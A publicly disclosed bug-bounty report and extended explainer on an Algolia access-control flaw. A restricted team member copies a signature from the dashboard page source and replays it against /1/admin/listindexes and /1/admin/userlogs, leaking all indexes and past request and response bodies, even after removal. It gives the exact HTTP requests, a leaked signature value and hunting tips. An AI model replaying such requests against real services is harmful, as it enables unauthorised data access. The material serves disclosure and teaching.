Unauthorized team members can leak information and see all API calls through /1/admin/* endpoints, even after they have been removed.
A restricted team member could extract an application-specific signature from the dashboard page source and use it to call admin API endpoints, bypassing their assigned permissions. This allowed them to list all indexes and retrieve full request and response bodies of all past API calls, including search results and record data, even after removal from the team.
- Triaged in 21 hours
- Fixed in 3 months
- Paid in 3 months
- Disclosed after 4 months
Summary
Invited team members or collaborators on https://www.algolia.com/manage/applications/[APP_ID]/team can use the /1/admin/* REST endpoints to leak some information, which they should not be able to have access to.
Steps to reproduce
-
Invite a new team member to your application and give him very restrictive rights. In my case I gave him only
Searchrights and limited his access to an index calledtest. -
Login as the new team member and go to https://www.aloglia.com/dashboard . You will be greeted with a
You don't have access to the Algolia Dashboard.error message. -
Check in the page source for
signatureand copy its value, for example on my application it wasfd283b81b38fb9c547fcf2bea763d547e66644839e896e877382b1fcfe598bac.Using this signature, you can perform queries now against
/1/admin/*, even though you don't have the rights.
/1/admin/listIndexes
The following request will list all indexes of the application including their statistics:
POST /1/admin/listindexes HTTP/1.1
Host: c5-eu-1.algolianet.com
....
{"applicationID":"APP_ID","signature":"SIGNATURE","page":0,"sortByNbEntries":1}
Of course you need to replace applicationID and signature with your own values from above.
/1/admin/userlogs
An even more interesting endpoint. Here you can see all past queries made to the application. This includes search queries, records added and deleted, indeces created and removed, etc. for all indeces in the application. This basically leaks data from any index.
POST /1/admin/userlogs HTTP/1.1
Host: c5-eu-1.algolianet.com
....
{"applicationID":"APP_ID","signature":"SIGNATURE","offset":0,"length":1000,"type":"all"}
This will return the whole request body and the whole response body for each query! So for example if somebody performed a search, the attacker will be able to see the whole result of the search in the response body.
Here are two example responses, one for searching and the other for adding a record:
Searching (as you can see answer contains the whole record)
{
"timestamp": "2016-08-04T15:15:01Z",
"method": "POST",
"answer_code": "200",
"query_body": "\n{\n \"params\": \"query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100\"\n}\n",
"answer": "\n{\n \"hits\": [\n {\n \"name\": \"Monica Bellucci\",\n \"rating\": 3956,\n \"image_path\": \"/z3sLuRKP7hQVrvSTsqdLjGSldwG.jpg\",\n \"alternative_name\": \"Monica Anna Maria Bellucci\",\n \"objectID\": \"5\",\n \"_highlightResult\": {\n \"name\": {\n \"value\": \"<em>Monica</em> Bellucci\",\n \"matchLevel\": \"full\",\n \"fullyHighlighted\": false,\n \"matchedWords\": [\n \"monica\"\n ]\n },\n \"alternative_name\": {\n \"value\": \"<em>Monica</em> Anna Maria Bellucci\",\n \"matchLevel\": \"full\",\n \"fullyHighlighted\": false,\n \"matchedWords\": [\n \"monica\"\n ]\n }\n },\n \"_rankingInfo\": {\n \"nbTypos\": 0,\n \"firstMatchedWord\": 0,\n \"proximityDistance\": 0,\n \"userScore\": 499,\n \"geoDistance\": 0,\n \"geoPrecision\": 1,\n \"nbExactWords\": 0,\n \"words\": 1,\n \"filters\": 0\n }\n }\n ],\n \"nbHits\": 1,\n \"page\": 0,\n \"nbPages\": 1,\n \"hitsPerPage\": 10,\n \"processingTimeMS\": 1,\n \"facets\": {\n },\n \"exhaustiveFacetsCount\": true,\n \"query\": \"Monica\",\n \"params\": \"query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100\",\n \"serverUsed\": \"c5-eu-3.algolia.net\",\n \"parsedQuery\": \"monica\",\n \"timeoutCounts\": false,\n \"timeoutHits\": false\n}\n",
"url": "/1/indexes/QQQQQQQQ/query?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%203.14.1&x-algolia-application-id=5QA3U6N0QN&x-algolia-api-key=3f30****************************",
"ip": "....",
"query_headers": "...",
"sha1": "70a7baf41d4756ad3a01199f336d7c45b9624305",
"nb_api_calls": "1",
"processing_time_ms": "1",
"index": "QQQQQQQQ",
"query_params": "query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100",
"query_nb_hits": "1"
}
Adding a record
{
"timestamp": "2016-08-04T15:14:56Z",
"method": "POST",
"answer_code": "201",
"query_body": "\n{\n \"name\": \"Just a test\",\n \"rating\": 1337,\n \"image_path\": \"Record added\",\n \"alternative_name\": \"Everything leaked\",\n \"objectID\": \"5111\"\n}\n",
"answer": "\n{\n \"createdAt\": \"2016-08-04T15:14:56.405Z\",\n \"taskID\": 18077851,\n \"objectID\": \"5111\"\n}\n",
"url": "/1/indexes/QQQQQQQQ?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%203.14.1&x-algolia-application-id=****&x-algolia-api-key=3f30****************************",
"ip": "xxxxx",
"query_headers": "...",
"sha1": "ee9f6ad7345be899f3a81b0b150bb75c9abc46e3",
"nb_api_calls": "1",
"processing_time_ms": "1",
"index": "QQQQQQQQ"
}
Clearly, the attacker can dump all indeces if he just goes back far enough where they were created.
The other two endpoints I found are /1/admin/stats/INDEXNAME, which returns the same as /1/admin/listIndexes, but only for one specific index and /1/admin/building, which purpose I didn't quite figure out.
Final note
Note that the signature is application specific and completely API key independent.
For one that means, if I use the users API key to list indexes via /1/indexes endpoint, it will only return an answer if I ahve given the user listIndexes rights and it will only return those indeces he has access to. Whereas with the signature the users rights are completely ignored.
It also means though, that if I remove an old team member he still continues to have access to the above endpoints. Even if the admin regenrates the admin API key, the signature remains the same. Therefore, once a team member obtained the signature, he will have access indefinitely to the application. The owner can't do anything as far as I can tell.
Context
Algolia is a hosted search service. An application (identified by an APP_ID) holds one or more indexes, and customers query those indexes through REST endpoints. The dashboard at https://www.algolia.com/manage/applications/[APP_ID]/team lets an application owner invite team members or collaborators and give each of them a restricted set of rights, for example search-only access limited to a single index.
The report is about the /1/admin/* family of REST endpoints, which are meant for administrative operations: listing indexes with their statistics, reading the user logs of past API calls, reading per-index statistics, and an endpoint called /1/admin/building. The researcher found that a team member with very restrictive rights could still reach these endpoints by using a signature value taken from the dashboard page source.
Setup
No special tooling is described. The preconditions are:
- An Algolia application with an owner who can invite team members.
- A newly invited team member account with restrictive rights. In the researcher's case the account had only
Searchrights and access limited to an index calledtest. - The ability to view the page source of the dashboard while logged in as that team member.
The requests in the report are sent to a host of the form c5-eu-1.algolianet.com.
Finding it
The researcher invited a team member with only Search rights, limited to the test index, then logged in as that member and opened https://www.aloglia.com/dashboard. The dashboard refused access with the message You don't have access to the Algolia Dashboard.
Despite that refusal, the page source contained a signature value. On the researcher's application it was:
[redacted]
That value looked wrong to keep in a page served to a user who is explicitly denied dashboard access, because it could be replayed against the administrative REST endpoints even though the account had no rights there.
Exploitation
Step 1: obtain the signature
Invite the team member with restrictive rights, log in as that member, open the dashboard, and read the signature from the page source. The dashboard shows the access error, but the signature is still present in the HTML.
Step 2: list indexes
With the signature in hand, the following request lists all indexes of the application, including their statistics:
POST /1/admin/listindexes HTTP/1.1
Host: c5-eu-1.algolianet.com
....
{"applicationID":"APP_ID","signature":"SIGNATURE","page":0,"sortByNbEntries":1}
The body carries the application ID, the copied signature, a page number and a sort directive. The applicationID and signature are replaced with your own values from above. The response lists every index of the application with statistics, regardless of the rights granted to the team member.
Step 3: read the user logs
The researcher calls /1/admin/userlogs the more interesting endpoint. It returns all past queries made to the application: search queries, records added and deleted, indexes created and removed, and so on, for all indexes in the application. In the researcher's words, this basically leaks data from any index.
POST /1/admin/userlogs HTTP/1.1
Host: c5-eu-1.algolianet.com
....
{"applicationID":"APP_ID","signature":"SIGNATURE","offset":0,"length":1000,"type":"all"}
The body sets an offset of 0, a length of 1000 and a type of all. The response contains the whole request body and the whole response body for each query. If somebody performed a search, the attacker sees the whole result of that search in the response body.
The researcher gives two example responses. The first is a search, where the answer field contains the whole record:
{
"timestamp": "2016-08-04T15:15:01Z",
"method": "POST",
"answer_code": "200",
"query_body": "\n{\n \"params\": \"query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100\"\n}\n",
"answer": "\n{\n \"hits\": [\n {\n \"name\": \"Monica Bellucci\",\n \"rating\": 3956,\n \"image_path\": \"/z3sLuRKP7hQVrvSTsqdLjGSldwG.jpg\",\n \"alternative_name\": \"Monica Anna Maria Bellucci\",\n \"objectID\": \"5\",\n \"_highlightResult\": {\n \"name\": {\n \"value\": \"<em>Monica</em> Bellucci\",\n \"matchLevel\": \"full\",\n \"fullyHighlighted\": false,\n \"matchedWords\": [\n \"monica\"\n ]\n },\n \"alternative_name\": {\n \"value\": \"<em>Monica</em> Anna Maria Bellucci\",\n \"matchLevel\": \"full\",\n \"fullyHighlighted\": false,\n \"matchedWords\": [\n \"monica\"\n ]\n }\n },\n \"_rankingInfo\": {\n \"nbTypos\": 0,\n \"firstMatchedWord\": 0,\n \"proximityDistance\": 0,\n \"userScore\": 499,\n \"geoDistance\": 0,\n \"geoPrecision\": 1,\n \"nbExactWords\": 0,\n \"words\": 1,\n \"filters\": 0\n }\n }\n ],\n \"nbHits\": 1,\n \"page\": 0,\n \"nbPages\": 1,\n \"hitsPerPage\": 10,\n \"processingTimeMS\": 1,\n \"facets\": {\n },\n \"exhaustiveFacetsCount\": true,\n \"query\": \"Monica\",\n \"params\": \"query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100\",\n \"serverUsed\": \"c5-eu-3.algolia.net\",\n \"parsedQuery\": \"monica\",\n \"timeoutCounts\": false,\n \"timeoutHits\": false\n}\n",
"url": "/1/indexes/QQQQQQQQ/query?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%203.14.1&x-algolia-application-id=5QA3U6N0QN&x-algolia-[redacted]",
"ip": "....",
"query_headers": "...",
"sha1": "[redacted]",
"nb_api_calls": "1",
"processing_time_ms": "1",
"index": "QQQQQQQQ",
"query_params": "query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100",
"query_nb_hits": "1"
}
Each log entry records the timestamp, method, answer code, the full request body in query_body, the full response body in answer, the URL, the client IP, the request headers, a SHA-1 hash, the number of API calls, processing time, the index name, the query parameters and the number of hits. The answer here contains the complete record that matched the search, including fields such as name, rating, image_path and alternative_name.
The second example is a record being added:
{
"timestamp": "2016-08-04T15:14:56Z",
"method": "POST",
"answer_code": "201",
"query_body": "\n{\n \"name\": \"Just a test\",\n \"rating\": 1337,\n \"image_path\": \"Record added\",\n \"alternative_name\": \"Everything leaked\",\n \"objectID\": \"5111\"\n}\n",
"answer": "\n{\n \"createdAt\": \"2016-08-04T15:14:56.405Z\",\n \"taskID\": 18077851,\n \"objectID\": \"5111\"\n}\n",
"url": "/1/indexes/QQQQQQQQ?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%203.14.1&x-algolia-application-id=****&x-algolia-[redacted]",
"ip": "xxxxx",
"query_headers": "...",
"sha1": "[redacted]",
"nb_api_calls": "1",
"processing_time_ms": "1",
"index": "QQQQQQQQ"
}
Here the query_body shows the full record that was written, and the answer shows the creation timestamp, task ID and object ID returned by the API. The researcher notes that an attacker can dump all indexes by paging back far enough to where they were created.
Step 4: other endpoints
The researcher also found /1/admin/stats/INDEXNAME, which returns the same data as /1/admin/listIndexes but for one specific index, and /1/admin/building, whose purpose the researcher did not figure out.
Root cause
The signature is application-specific and completely independent of the API key. The normal API key path enforces rights: if the user's API key is used to list indexes via /1/indexes, the call only returns an answer if the user has been given listIndexes rights, and it only returns the indexes that user has access to. With the signature, the user's rights are completely ignored.
The signature is application-specific and independent of the API key, and it was present in the page source of a user denied dashboard access. The signature is not tied to the user's rights or to the API key, so the usual authorisation checks on the API key path do not apply to it.
Impact
A team member or collaborator with very restrictive rights, in the researcher's case only Search on a single index, can:
- list all indexes of the application with their statistics;
- read the full user logs, which include the complete request and response bodies of every past API call: searches with their full results, records added and deleted, and indexes created and removed, across all indexes in the application;
- read per-index statistics through
/1/admin/stats/INDEXNAME.
Because the signature is application-specific and independent of the API key, removing an old team member does not revoke access: the removed member keeps access to the endpoints. Regenerating the admin API key does not help either, because the signature remains the same. Once a team member has obtained the signature, they have access to the application indefinitely, and as far as the researcher could tell the owner cannot do anything about it.
Fix
The report does not describe a fix or a change made by the vendor. What the findings imply is that the signature should not be embedded in pages served to users who lack dashboard access, and that the /1/admin/* endpoints should enforce the same rights checks as the API key path rather than trusting an application-wide signature. The report notes that removing a team member or regenerating the admin API key does not end access, because the signature remains the same.
Variants to test
- Look for signature or token values in the HTML or JavaScript of pages that show an access-denied message. A positive result is a value that can be replayed against an API endpoint the account should not reach.
- Try the same signature against sibling administrative endpoints (
listindexes,userlogs,stats/INDEXNAME,building). A positive result is any of them returning data the account's rights do not allow. - Compare the API key path with the signature path for the same account. A positive result is the key path returning a permission error or a filtered list while the signature path returns everything.
- After removing a team member or rotating the admin API key, replay the previously captured signature. A positive result is the signature still working.
Hunting notes
This kind of bug tends to hide wherever a dashboard or management UI is served to low-privilege users: the page may render an access error while still embedding credentials in the source. During recon, look for application-wide signatures, tokens or identifiers in page source that are not scoped to the logged-in user, and check whether they are accepted by API endpoints outside the UI's intended surface. The researcher showed impact by demonstrating that the signature reached endpoints returning data across all indexes, including full request and response bodies from the user logs, and by showing that the access survived removal of the team member and regeneration of the admin API key, which made the exposure persistent rather than a one-off.
What happened, in plain words
Algolia is a hosted search service. Companies put their data into it (products, people, articles) and then their websites or apps ask Algolia questions like "find me everything matching Monica". Algolia answers with the matching records. Each customer's space is called an application, and inside an application the data is split into indexes, which you can picture as separate filing cabinets: one for products, one for people, one for articles. A customer can invite other people (team members or collaborators) into the application and give each of them only the rights they need, for example the right to search one single index and nothing else.
To make all of this work, the website talks to Algolia through an API. An API (Application Programming Interface) is the set of addresses a program can send requests to in order to make something happen on another computer. Think of it as a restaurant menu: you do not walk into the kitchen, you pick an item from the menu and the kitchen prepares it. Each item on the menu is an endpoint, a specific address such as /1/admin/listindexes. Some endpoints are for ordinary use (search this index), and some are administrative (show me everything about this application).
The report is about the administrative family of endpoints, the ones whose address starts with /1/admin/. They are meant for owners and administrators: listing indexes with statistics, reading the log of past API calls, reading statistics for one index, and an endpoint called /1/admin/building whose purpose the researcher never worked out.
The researcher found that a team member with very restrictive rights could still reach those administrative endpoints. The trick was a value called signature, which was sitting in the source code of a dashboard page that refused the team member access. A signature here is a long string of characters that acts like a stamped pass: whoever presents it is treated as allowed. Because the pass was handed out to someone who was refused entry at the front door, that person could walk around to the back door (the admin endpoints) and use it there.
The setup
The report does not describe any special tools. Everything can be done with a browser. The preconditions are:
- An Algolia application with an owner who can invite team members.
- A newly invited team member account with restrictive rights. In the researcher's case the account had only
Searchrights, and its access was limited to an index calledtest. - The ability to view the page source of the dashboard while logged in as that team member. Viewing page source means asking the browser to show the raw text it received from the server, instead of the pretty page it draws from that text. In most browsers you right-click the page and choose something like "View page source".
The requests in the report are sent to a host of the form c5-eu-1.algolianet.com. A host is the name of the server a request is addressed to, the part after the @ in an email address, so to speak.
Finding it
The researcher invited a team member with only Search rights, limited to the test index. Then he logged in as that member and opened https://www.aloglia.com/dashboard. The dashboard is the web page where a customer manages their application. It refused access with the message You don't have access to the Algolia Dashboard.
That refusal is the correct behaviour: this account was not supposed to manage anything. But despite the refusal, the page source still contained a signature value. On the researcher's application it was:
[redacted]
This is a long hexadecimal string. Hexadecimal means it only uses the characters 0 to 9 and a to f, which is a common way to write a value made of raw bytes. The important point is not what the string means but where it was: in a page served to a user who is explicitly told they have no access. If a page says "you may not come in" but still hands you a key in its source, that key can be copied and used somewhere else, namely against the administrative endpoints where the account had no rights at all.
Exploitation
Step 1: obtain the signature
Invite the team member with restrictive rights, log in as that member, open the dashboard, and read the signature from the page source. The dashboard shows the access error, but the signature is still present in the HTML. HTML is the language web pages are written in; the browser reads it and draws the page. Anything in that text, even things not drawn on screen, can be read by whoever receives the page.
Step 2: list indexes
With the signature in hand, the following request lists all indexes of the application, including their statistics:
POST /1/admin/listindexes HTTP/1.1
Host: c5-eu-1.algolianet.com
....
{"applicationID":"APP_ID","signature":"SIGNATURE","page":0,"sortByNbEntries":1}
Line by line:
POST /1/admin/listindexes HTTP/1.1is the first line of an HTTP request. HTTP is the language browsers and servers use to talk to each other.POSTis the method, the verb that says "I am sending data and asking you to act on it"./1/admin/listindexesis the endpoint, the menu item being ordered.HTTP/1.1is the version of the language being used.Host: c5-eu-1.algolianet.comsays which server the request is for. One server can host many sites, so the request has to name the one it wants.....stands for the other headers the original request carried. Headers are extra labels attached to a request, like the address and postage details on an envelope. The report does not list them.- The blank line separates the headers from the body. The body is the actual content being sent.
{"applicationID":"APP_ID","signature":"SIGNATURE","page":0,"sortByNbEntries":1}is the body, written in JSON. JSON is a way of writing data as pairs of a name and a value, wrapped in curly braces.applicationIDsays which application to look at,signatureis the copied pass,pageasks for the first page of results (counting starts at 0), andsortByNbEntriesasks to sort by how many records each index holds.
The applicationID and signature are replaced with your own values from above. The response lists every index of the application with statistics, regardless of the rights granted to the team member. In other words, the account that was only allowed to search one index now sees the whole filing cabinet, with labels describing how full each drawer is.
Step 3: read the user logs
The researcher calls /1/admin/userlogs the more interesting endpoint. It returns all past queries made to the application: search queries, records added and deleted, indexes created and removed, and so on, for all indexes in the application. In the researcher's words, this basically leaks data from any index. A log here is a history list: every request the application ever received, kept for later inspection.
POST /1/admin/userlogs HTTP/1.1
Host: c5-eu-1.algolianet.com
....
{"applicationID":"APP_ID","signature":"SIGNATURE","offset":0,"length":1000,"type":"all"}
Line by line:
- The first line and the
Hostheader work exactly as in the previous request; only the endpoint changed, fromlistindexestouserlogs. offsetsays where in the history to start reading.0means the beginning.lengthsays how many entries to return.1000asks for a thousand at a time.typesays which kinds of entries to include.allmeans every kind.
The response contains the whole request body and the whole response body for each query. If somebody performed a search, the attacker sees the whole result of that search in the response body. This is the difference between knowing that someone searched for something and reading the exact answer they received.
The researcher gives two example responses. The first is a search, where the answer field contains the whole record:
{
"timestamp": "2016-08-04T15:15:01Z",
"method": "POST",
"answer_code": "200",
"query_body": "\n{\n \"params\": \"query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100\"\n}\n",
"answer": "\n{\n \"hits\": [\n {\n \"name\": \"Monica Bellucci\",\n \"rating\": 3956,\n \"image_path\": \"/z3sLuRKP7hQVrvSTsqdLjGSldwG.jpg\",\n \"alternative_name\": \"Monica Anna Maria Bellucci\",\n \"objectID\": \"5\",\n \"_highlightResult\": {\n \"name\": {\n \"value\": \"<em>Monica</em> Bellucci\",\n \"matchLevel\": \"full\",\n \"fullyHighlighted\": false,\n \"matchedWords\": [\n \"monica\"\n ]\n },\n \"alternative_name\": {\n \"value\": \"<em>Monica</em> Anna Maria Bellucci\",\n \"matchLevel\": \"full\",\n \"fullyHighlighted\": false,\n \"matchedWords\": [\n \"monica\"\n ]\n }\n },\n \"_rankingInfo\": {\n \"nbTypos\": 0,\n \"firstMatchedWord\": 0,\n \"proximityDistance\": 0,\n \"userScore\": 499,\n \"geoDistance\": 0,\n \"geoPrecision\": 1,\n \"nbExactWords\": 0,\n \"words\": 1,\n \"filters\": 0\n }\n }\n ],\n \"nbHits\": 1,\n \"page\": 0,\n \"nbPages\": 1,\n \"hitsPerPage\": 10,\n \"processingTimeMS\": 1,\n \"facets\": {\n },\n \"exhaustiveFacetsCount\": true,\n \"query\": \"Monica\",\n \"params\": \"query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100\",\n \"serverUsed\": \"c5-eu-3.algolia.net\",\n \"parsedQuery\": \"monica\",\n \"timeoutCounts\": false,\n \"timeoutHits\": false\n}\n",
"url": "/1/indexes/QQQQQQQQ/query?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%203.14.1&x-algolia-application-id=5QA3U6N0QN&x-algolia-[redacted]",
"ip": "....",
"query_headers": "...",
"sha1": "[redacted]",
"nb_api_calls": "1",
"processing_time_ms": "1",
"index": "QQQQQQQQ",
"query_params": "query=Monica&page=0&getRankingInfo=1&facets=*&attributesToRetrieve=*&highlightPreTag=%3Cem%3E&highlightPostTag=%3C%2Fem%3E&hitsPerPage=10&facetFilters=%5B%5D&maxValuesPerFacet=100",
"query_nb_hits": "1"
}
Each log entry records the timestamp, method, answer code, the full request body in query_body, the full response body in answer, the URL, the client IP, the request headers, a SHA-1 hash, the number of API calls, processing time, the index name, the query parameters and the number of hits. In plain words:
timestampis when the call happened.methodis the verb used, herePOST.answer_codeis the three-digit status the server replied with;200is the standard code for "everything went fine".query_bodyis the exact content the client sent. Here it is a search forMonica, with parameters such aspage=0,hitsPerPage=10andattributesToRetrieve=*, which asks for every field of every matching record. The%3Cand%3Esequences are URL encoding: characters such as<and>cannot appear literally in a URL, so they are written as percent signs followed by codes.answeris the exact content the server sent back. Here it contains the complete record that matched the search, including fields such asname,rating,image_pathandalternative_name. The_highlightResultpart shows which words matched and how they would be highlighted, and_rankingInfoshows why this record was ranked where it was.urlis the address that was called. It includes an API key, which is a password-like string that identifies the caller. The report shows it partly masked with asterisks.ipis the network address of the machine that made the call.query_headersholds the request headers.sha1is a fingerprint of the request, a short fixed-length value computed from the content so that two identical requests produce the same fingerprint.nb_api_calls,processing_time_ms,index,query_paramsandquery_nb_hitsdescribe how many calls were made, how long the server took in milliseconds, which index was touched, the parameters used and how many results came back.
The second example is a record being added:
{
"timestamp": "2016-08-04T15:14:56Z",
"method": "POST",
"answer_code": "201",
"query_body": "\n{\n \"name\": \"Just a test\",\n \"rating\": 1337,\n \"image_path\": \"Record added\",\n \"alternative_name\": \"Everything leaked\",\n \"objectID\": \"5111\"\n}\n",
"answer": "\n{\n \"createdAt\": \"2016-08-04T15:14:56.405Z\",\n \"taskID\": 18077851,\n \"objectID\": \"5111\"\n}\n",
"url": "/1/indexes/QQQQQQQQ?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%203.14.1&x-algolia-application-id=****&x-algolia-[redacted]",
"ip": "xxxxx",
"query_headers": "...",
"sha1": "[redacted]",
"nb_api_calls": "1",
"processing_time_ms": "1",
"index": "QQQQQQQQ"
}
Here the query_body shows the full record that was written, and the answer shows the creation timestamp, task ID and object ID returned by the API. A record is one item stored in an index, like one row in a spreadsheet. answer_code is 201, the standard code for "something was created". taskID is an identifier the server gives to the background job that performs the write, and objectID is the identifier of the stored record. The researcher notes that an attacker can dump all indexes by paging back far enough to where they were created: the log keeps history, so paging back far enough reveals indexes from when they were created.
Step 4: other endpoints
The researcher also found /1/admin/stats/INDEXNAME, which returns the same data as /1/admin/listIndexes but for one specific index, and /1/admin/building, whose purpose the researcher did not figure out. INDEXNAME is a placeholder: you put the name of the index you want in that position of the address.
Root cause
The signature is application-specific and completely independent of the API key. The normal API key path enforces rights: if the user's API key is used to list indexes via /1/indexes, the call only returns an answer if the user has been given listIndexes rights, and it only returns the indexes that user has access to. With the signature, the user's rights are completely ignored.
The signature is application-specific and independent of the API key, and it was present in the page source of a user denied dashboard access. A credential is anything you present to prove you are allowed: a password, a key, a badge. The signature is not tied to the user's rights or to the API key, so the usual authorisation checks on the API key path do not apply to it. Authorisation is the step where the server decides whether this particular caller may do this particular thing, as opposed to authentication, which is only about who the caller is.
Impact
A team member or collaborator with very restrictive rights, in the researcher's case only Search on a single index, can:
- list all indexes of the application with their statistics;
- read the full user logs, which include the complete request and response bodies of every past API call: searches with their full results, records added and deleted, and indexes created and removed, across all indexes in the application;
- read per-index statistics through
/1/admin/stats/INDEXNAME.
Because the signature is application-specific and independent of the API key, removing an old team member does not revoke access: the removed member keeps access to the endpoints. Revoke means to take a permission back. Regenerating the admin API key does not help either, because the signature remains the same. Once a team member has obtained the signature, they have access to the application indefinitely, and as far as the researcher could tell the owner cannot do anything about it. That last part is what turns a one-off mistake into a lasting problem: the usual remedies, removing the person and changing the keys, both leave the copied pass working.
Fix
The report does not describe a fix or a change made by the vendor. What the findings imply is that the signature should not be embedded in pages served to users who lack dashboard access, and that the /1/admin/* endpoints should enforce the same rights checks as the API key path rather than trusting an application-wide signature. The report notes that removing a team member or regenerating the admin API key does not end access, because the signature remains the same.
Variants to test
- Look for signature or token values in the HTML or JavaScript of pages that show an access-denied message. A positive result is a value that can be replayed against an API endpoint the account should not reach. Replay means sending a captured value again in a new request.
- Try the same signature against sibling administrative endpoints (
listindexes,userlogs,stats/INDEXNAME,building). A positive result is any of them returning data the account's rights do not allow. - Compare the API key path with the signature path for the same account. A positive result is the key path returning a permission error or a filtered list while the signature path returns everything.
- After removing a team member or rotating the admin API key, replay the previously captured signature. A positive result is the signature still working.
Hunting notes
This kind of bug tends to hide wherever a dashboard or management UI is served to low-privilege users: the page may render an access error while still embedding credentials in the source. During recon, look for application-wide signatures, tokens or identifiers in page source that are not scoped to the logged-in user, and check whether they are accepted by API endpoints outside the UI's intended surface. Recon is the early phase of looking around a target to see what exists before trying anything. Scoped to the user means the value only works for that one person; an application-wide value works for anyone who holds it. The researcher showed impact by demonstrating that the signature reached endpoints returning data across all indexes, including full request and response bodies from the user logs, and by showing that the access survived removal of the team member and regeneration of the admin API key, which made the exposure persistent rather than a one-off.
Glossary
- API: the set of addresses a program can send requests to in order to make another computer do something.
- Endpoint: one specific address in an API, such as
/1/admin/listindexes. - Application (Algolia): a customer's space in Algolia, identified by an
APP_ID, holding one or more indexes. - Index: a collection of records that can be searched, like one filing cabinet or one table.
- Record: one item stored in an index, like one row in a spreadsheet.
- REST: a common style of API where each address represents a thing and the method (GET, POST and so on) says what to do with it.
- HTTP: the language browsers and servers use to exchange requests and responses.
- Method: the verb at the start of an HTTP request, such as
POST, saying what kind of action is wanted. - Header: an extra label attached to a request or response, such as
Host. - Body: the actual content sent in a request or returned in a response.
- Host: the name of the server a request is addressed to.
- JSON: a way of writing data as name and value pairs inside curly braces.
- HTML: the language web pages are written in, which the browser reads and draws.
- Page source: the raw HTML the browser received, viewable in the browser, including things not drawn on screen.
- Signature: a long string that acts as a stamped pass, accepted by the server as proof of permission.
- API key: a password-like string that identifies the caller of an API.
- Credential: anything presented to prove you are allowed, such as a password, key or signature.
- Authentication: the step of establishing who the caller is.
- Authorisation: the step of deciding whether that caller may do this particular thing.
- Rights / permissions: the specific actions an account is allowed to perform, such as
SearchorlistIndexes. - Team member / collaborator: another account invited into an application with its own set of rights.
- Dashboard: the web page where a customer manages their application.
- Status code: the three-digit number a server replies with, such as
200for success or201for created. - URL encoding: writing characters that cannot appear literally in a URL as a percent sign followed by codes, such as
%3Cfor<. - SHA-1: a function that turns content into a short fixed-length fingerprint.
- IP address: the network address of a machine.
- Millisecond: one thousandth of a second.
- Replay: sending a captured value again in a new request.
- Revoke: to take a permission back.
- Rotate / regenerate a key: replace a key with a new one so the old one stops working.
- Recon: the early phase of looking around a target to see what exists before trying anything.
- Scoped to the user: a value that only works for that one person, as opposed to an application-wide value that works for anyone holding it.